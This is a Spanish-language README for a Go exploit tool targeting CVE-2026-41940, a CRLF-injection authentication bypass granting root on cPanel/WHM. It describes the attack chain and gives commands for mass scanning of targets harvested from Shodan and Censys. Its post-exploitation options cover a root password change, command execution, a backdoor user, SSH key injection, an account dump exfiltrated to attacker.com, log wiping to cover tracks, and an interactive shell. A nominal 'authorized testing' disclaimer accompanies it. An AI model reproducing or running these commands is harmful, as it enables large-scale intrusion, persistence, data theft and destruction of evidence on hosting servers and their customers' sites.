
Exploit PoC para CVE-2026-41940, una omisión de autenticación en cPanel y WHM mediante inyección CRLF. Incluye escaneo masivo, acciones posteriores a la explotación y un shell interactivo para pruebas autorizadas.
Herramienta por: Ishan Oshada | GitHub
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS. El uso no autorizado es ilegal.


CVE-2026-41940 es una vulnerabilidad de inyección CRLF en cPanel & WHM (versiones < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
La función saveSession() escribe los datos de sesión después de aplicar filter_sessiondata(), pero el filtro se aplica demasiado tarde. Al inyectar caracteres CRLF (\r\n) dentro de la cabecera Authorization: Basic, un atacante puede envenenar el archivo de sesión en disco con pares clave-valor arbitrarios (por ejemplo, hasroot=1, tfa_verified=1, user=root).
Cuando la sesión envenenada se carga posteriormente, cPanel/WHM otorga acceso root completo sin ninguna contraseña.
--verbose) – muestra solicitudes/respuestas HTTP completasgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
En lugar de compilar desde el código fuente, puedes descargar los ejecutables estables más recientes directamente del repositorio. Se generan automáticamente para cada actualización:
Nota: Si usas Linux o macOS, recuerda otorgar permisos de ejecución después de descargar:
# Escaneo básico
go run main.go -u https://target.com:2087
# Listar todas las cuentas de cPanel
go run main.go -u https://target.com:2087 -action list
# Shell WHM interactivo
go run main.go -u https://target.com:2087 -action shell
# Escaneo masivo con urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Una vez dentro del shell (-action shell), usa estos comandos:
El repositorio incluye urls.txt con 1000 objetivos de ejemplo para escaneo masivo.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Escaneo masivo básico (10 hilos)
go run main.go -l urls.txt
# Escaneo masivo rápido (50 hilos, guardar resultados)
go run main.go -l urls.txt -t 50 -o results.json
# Escaneo masivo con acción post-explotación
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Escaneo masivo con salida verbose
go run main.go -l urls.txt -t 10 --verbose
# Escaneo masivo con tiempo de espera aumentado (redes lentas)
go run main.go -l urls.txt -t 30 -timeout 30
# Generar rango de IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Generar rango de IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Desde Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Desde Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ OBJETIVO VULNERABLE DETECTADO ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Version: 11.76.0.22 ║
║ Session: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Acción: LIST
• Usuario: admin | Dominio: example.com
• Usuario: backup | Dominio: backup.example.com
• Usuario: client1 | Dominio: client1.com
════════════════════════════════════════════════════════════════════
RESUMEN DE ESCANEO COMPLETO
════════════════════════════════════════════════════════════════════
Total de Objetivos Escaneados: 1000
Objetivos Vulnerables: 47
Tiempo Transcurrido: 125.34 segundos
OBJETIVOS VULNERABLES:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Version: 11.76.0.22
Session: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Version: 11.86.0.15
Session: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Version: 11.118.0.42
Session: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Resultados guardados en: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentación
├── bin/ # Ejecutables precompilados multiplataforma
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Código fuente principal
├── urls.txt # 1000 objetivos de ejemplo
├── go.mod # Archivo de módulo Go
├── .gitignore # Archivo de ignorados de Git
└── results.json # Archivo de salida (generado)
Esta herramienta es solo para fines educativos y pruebas de penetración autorizadas.
El acceso no autorizado a sistemas informáticos es ilegal según:
El autor no asume ninguna responsabilidad por el mal uso. Úsala bajo tu propio riesgo.
Al usar esta herramienta, aceptas que tienes la autorización adecuada para probar los sistemas objetivo.
Ishan Oshada
Si encuentras útil esta herramienta:
¡Feliz Hacking! 🚀
Recuerda: Un gran poder conlleva una gran responsabilidad. Úsala éticamente.
| Etapa | Acción | Descripción |
|---|
| 1 | POST /login/?login_only=1 | Solicitar cookie de sesión pre-autenticación con credenciales incorrectas |
| 2 | GET / + cabecera Authorization con CRLF | Envenenar el archivo de sesión con hasroot=1, user=root, etc. |
| 3 | GET /scripts2/listaccts | Forzar la recarga de la caché de sesión con el archivo envenenado (propagación) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Verificar acceso root – éxito = 200 + datos de versión |
| Plataforma | Ubicación |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Propósito | Comando |
|---|
| 1 | Escaneo básico de objetivo único | go run main.go -u https://target.com:2087 |
| 2 | Listar todas las cuentas de cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | Cambiar contraseña de root | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Ejecutar comando del sistema | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Obtener información del servidor | go run main.go -u https://target.com:2087 -action info |
| 6 | Crear usuario backdoor | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Crear token de API (sigiloso) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Inyectar clave SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Volcar y exfiltrar cuenta | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Borrar registros y cubrir rastros | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Shell WHM interactivo | go run main.go -u https://target.com:2087 -action shell |
| 12 | Escaneo masivo desde archivo | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Guardar resultados en JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Habilitar depuración verbose | go run main.go -u https://target.com:2087 --verbose |
| 15 | Tubería desde otras herramientas | cat urls.txt | go run main.go -t 20 |
| 16 | Aumentar tiempo de espera | go run main.go -u https://target.com:2087 -timeout 30 |
| Acción | Bandera | Descripción | Nivel de Sigilo |
|---|
list | -action list | Listar todas las cuentas de cPanel | Bajo |
passwd | -action passwd -passwd NEWPASS | Cambiar contraseña de root (ruidoso) | Alto (detectable) |
cmd | -action cmd -cmd "id" | Ejecutar comandos del sistema operativo | Medio |
info | -action info | Mostrar hostname, carga, versión | Bajo |
adduser | -action adduser -new-user U -new-domain D | Crear usuario backdoor de cPanel | Medio |
apitoken | -action apitoken [-tokenname NAME] | Generar token de API persistente | Muy Bajo |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Inyectar clave pública SSH en root | Muy Bajo |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Respaldar y exfiltrar cuenta | Medio |
wipe | -action wipe | Deshabilitar WAF, borrar registros, limpiar historial | Cubrir rastros |
shell | -action shell | Shell WHM interactivo | Bajo |
| Comando | Descripción | Ejemplo |
|---|
accounts | Listar todas las cuentas de cPanel | accounts |
passwd <pass> | Cambiar contraseña de root | passwd MyNewPass123!2006 |
exec <command> | Ejecutar comando del sistema | exec "cat /etc/passwd" |
info | Mostrar información del servidor | info |
version | Mostrar versión de cPanel | version |
help | Mostrar comandos disponibles | help |
exit | Salir del shell | exit |
| Opción | Tipo | Predeterminado | Descripción |
|---|
-u | string | - | URL del objetivo (ej., https://example.com:2087) |
-l | string | - | Archivo con objetivos (uno por línea) |
-t | int | 10 | Número de hilos concurrentes |
-action | string | - | Acción post-explotación |
-passwd | string | - | Nueva contraseña (para passwd/adduser) |
-cmd | string | - | Comando a ejecutar (para acción cmd) |
-new-user | string | - | Nombre de usuario para acción adduser |
-new-domain | string | - | Dominio para acción adduser |
-tokenname | string | - | Nombre para token de API (acción apitoken) |
-sshkey | string | - | Clave SSH pública a inyectar (acción sshkey) |
-dumpuser | string | - | Usuario a respaldar (acción dumpacct) |
-exfil | string | - | URL remota para exfiltración (acción dumpacct) |
-o | string | - | Archivo JSON de salida (se guarda automáticamente al encontrar) |
--verbose | bool | false | Mostrar solicitudes/respuestas HTTP |
-h | bool | false | Mostrar menú de ayuda |
| Rama | Versión Parcheada | Vulnerable < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |